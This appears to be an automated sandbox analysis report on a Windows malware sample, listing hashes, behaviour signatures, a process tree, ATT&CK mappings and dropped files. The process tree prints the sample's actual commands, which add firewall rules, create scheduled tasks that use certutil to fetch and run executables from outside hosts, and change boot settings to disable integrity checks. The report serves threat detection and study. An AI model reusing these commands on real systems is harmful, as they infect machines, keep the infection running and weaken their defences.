Analysis

  • max time kernel
    120s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 19:56

General

  • Target

    SecuriteInfo.com.Artemis54E3EF44C531.6042.exe

  • Size

    3.8MB

  • MD5

    54e3ef44c531c68051c95a1a5bc3cbed

  • SHA1

    551cd45da3107888dcacccf2e82d197be6cd8858

  • SHA256

    7ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d

  • SHA512

    3ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Windows security bypass 2 TTPs
  • Modifies boot configuration data using bcdedit 17 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 13 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 327 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 68 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:728
    • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe
      "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe"
      2⤵
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3492
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:2100
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa\5fa8ce6719fa.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa\5fa8ce6719fa.exe" enable=yes
          4⤵
            PID:3512
        • C:\Windows\rss\csrss.exe
          C:\Windows\rss\csrss.exe ""
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
            4⤵
            • Creates scheduled task(s)
            PID:960
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
            4⤵
            • Creates scheduled task(s)
            PID:3872
          • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
            "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3704
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1672
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1488
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1796
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2024
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2912
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:4004
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:212
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3980
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3780
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1792
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1280
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -timeout 0
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2908
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3000
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3120
          • C:\Windows\System32\bcdedit.exe
            C:\Windows\Sysnative\bcdedit.exe /v
            4⤵
            • Modifies boot configuration data using bcdedit
            PID:188
          • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
            4⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            PID:2620
          • C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\app.exe -update
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1792
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe -cleanup C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
              5⤵
              • Executes dropped EXE
              • Windows security modification
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2248
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                6⤵
                • Creates scheduled task(s)
                PID:1536
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                6⤵
                • Creates scheduled task(s)
                PID:2304
              • C:\Windows\System32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /delete {71a3c7fc-f751-4982-aec1-e958357e6813}
                6⤵
                • Modifies boot configuration data using bcdedit
                PID:2252
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                6⤵
                • Executes dropped EXE
                PID:1616
              • C:\Windows\System32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                6⤵
                • Modifies boot configuration data using bcdedit
                PID:1496
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3968

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Modify Existing Service

    1
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Disabling Security Tools

    2
    T1089

    Modify Registry

    3
    T1112

    Discovery

    Query Registry

    1
    T1012

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
      MD5

      79ffeeca6833d46d014a0dcec181cbe2

      SHA1

      a0985c9bb105e6190c13ab5cd3dff5e88a4cd957

      SHA256

      54ce78b5673fa4faf0bb9a587a428b401635ebdf9614bf6d7d40461bbfdf6577

      SHA512

      38dae559d0fd1b64f3e0f04e7f23b8fe60ddaeb5cdb5aba393f33743215e8eae984f04c991888ae55d858ad2793feb8f0bc03c4bb3eb6b9956747afbc64cc351

    • C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
      MD5

      79ffeeca6833d46d014a0dcec181cbe2

      SHA1

      a0985c9bb105e6190c13ab5cd3dff5e88a4cd957

      SHA256

      54ce78b5673fa4faf0bb9a587a428b401635ebdf9614bf6d7d40461bbfdf6577

      SHA512

      38dae559d0fd1b64f3e0f04e7f23b8fe60ddaeb5cdb5aba393f33743215e8eae984f04c991888ae55d858ad2793feb8f0bc03c4bb3eb6b9956747afbc64cc351

    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      MD5

      d98e78fd57db58a11f880b45bb659767

      SHA1

      ab70c0d3bd9103c07632eeecee9f51d198ed0e76

      SHA256

      414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

      SHA512

      aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      MD5

      d98e78fd57db58a11f880b45bb659767

      SHA1

      ab70c0d3bd9103c07632eeecee9f51d198ed0e76

      SHA256

      414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

      SHA512

      aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Users\Admin\AppData\Local\Temp\dbghelp.dll
      MD5

      f0616fa8bc54ece07e3107057f74e4db

      SHA1

      b33995c4f9a004b7d806c4bb36040ee844781fca

      SHA256

      6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

      SHA512

      15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

    • C:\Windows\rss\csrss.exe
      MD5

      54e3ef44c531c68051c95a1a5bc3cbed

      SHA1

      551cd45da3107888dcacccf2e82d197be6cd8858

      SHA256

      7ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d

      SHA512

      3ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e

    • C:\Windows\rss\csrss.exe
      MD5

      54e3ef44c531c68051c95a1a5bc3cbed

      SHA1

      551cd45da3107888dcacccf2e82d197be6cd8858

      SHA256

      7ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d

      SHA512

      3ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e

    • C:\Windows\rss\csrss.exe
      MD5

      79ffeeca6833d46d014a0dcec181cbe2

      SHA1

      a0985c9bb105e6190c13ab5cd3dff5e88a4cd957

      SHA256

      54ce78b5673fa4faf0bb9a587a428b401635ebdf9614bf6d7d40461bbfdf6577

      SHA512

      38dae559d0fd1b64f3e0f04e7f23b8fe60ddaeb5cdb5aba393f33743215e8eae984f04c991888ae55d858ad2793feb8f0bc03c4bb3eb6b9956747afbc64cc351

    • \Users\Admin\AppData\Local\Temp\dbghelp.dll
      MD5

      f0616fa8bc54ece07e3107057f74e4db

      SHA1

      b33995c4f9a004b7d806c4bb36040ee844781fca

      SHA256

      6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

      SHA512

      15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

    • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
      MD5

      335ee604bc5976ee83b38f3dddfed723

      SHA1

      2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

      SHA256

      8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

      SHA512

      87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

    • \Users\Admin\AppData\Local\Temp\osloader.exe
      MD5

      78c581e475d59efdebee2d3f4355f03f

      SHA1

      fda6c1f77f772afaa1b44a44c1fb29ee07434d10

      SHA256

      9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

      SHA512

      35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

    • \Users\Admin\AppData\Local\Temp\symsrv.dll
      MD5

      5c399d34d8dc01741269ff1f1aca7554

      SHA1

      e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

      SHA256

      e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

      SHA512

      8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

    • memory/188-41-0x0000000000000000-mapping.dmp
    • memory/212-33-0x0000000000000000-mapping.dmp
    • memory/728-1-0x0000000003BD0000-0x0000000003BD1000-memory.dmp
      Filesize

      4KB

    • memory/728-2-0x0000000000400000-0x0000000000B10000-memory.dmp
      Filesize

      7.1MB

    • memory/748-17-0x0000000003EB0000-0x0000000003EB1000-memory.dmp
      Filesize

      4KB

    • memory/748-13-0x0000000000000000-mapping.dmp
    • memory/960-19-0x0000000000000000-mapping.dmp
    • memory/1280-37-0x0000000000000000-mapping.dmp
    • memory/1488-28-0x0000000000000000-mapping.dmp
    • memory/1496-64-0x0000000000000000-mapping.dmp
    • memory/1536-58-0x0000000000000000-mapping.dmp
    • memory/1616-61-0x0000000000000000-mapping.dmp
    • memory/1672-11-0x0000000000000000-mapping.dmp
    • memory/1672-27-0x0000000000000000-mapping.dmp
    • memory/1792-49-0x0000000005400000-0x0000000005401000-memory.dmp
      Filesize

      4KB

    • memory/1792-36-0x0000000000000000-mapping.dmp
    • memory/1792-50-0x0000000000400000-0x0000000000B16000-memory.dmp
      Filesize

      7.1MB

    • memory/1792-45-0x0000000000000000-mapping.dmp
    • memory/1796-29-0x0000000000000000-mapping.dmp
    • memory/2024-30-0x0000000000000000-mapping.dmp
    • memory/2100-10-0x0000000000000000-mapping.dmp
    • memory/2248-52-0x0000000000000000-mapping.dmp
    • memory/2248-56-0x0000000000400000-0x0000000000B16000-memory.dmp
      Filesize

      7.1MB

    • memory/2248-55-0x00000000057B0000-0x00000000057B1000-memory.dmp
      Filesize

      4KB

    • memory/2252-60-0x0000000000000000-mapping.dmp
    • memory/2304-59-0x0000000000000000-mapping.dmp
    • memory/2384-6-0x0000000000400000-0x0000000000B10000-memory.dmp
      Filesize

      7.1MB

    • memory/2384-5-0x0000000003C60000-0x0000000003C61000-memory.dmp
      Filesize

      4KB

    • memory/2384-3-0x0000000000000000-mapping.dmp
    • memory/2620-42-0x0000000000000000-mapping.dmp
    • memory/2908-38-0x0000000000000000-mapping.dmp
    • memory/2912-31-0x0000000000000000-mapping.dmp
    • memory/3000-39-0x0000000000000000-mapping.dmp
    • memory/3120-40-0x0000000000000000-mapping.dmp
    • memory/3492-9-0x0000000000000000-mapping.dmp
    • memory/3512-12-0x0000000000000000-mapping.dmp
    • memory/3704-21-0x0000000000000000-mapping.dmp
    • memory/3780-35-0x0000000000000000-mapping.dmp
    • memory/3872-20-0x0000000000000000-mapping.dmp
    • memory/3980-34-0x0000000000000000-mapping.dmp
    • memory/4004-32-0x0000000000000000-mapping.dmp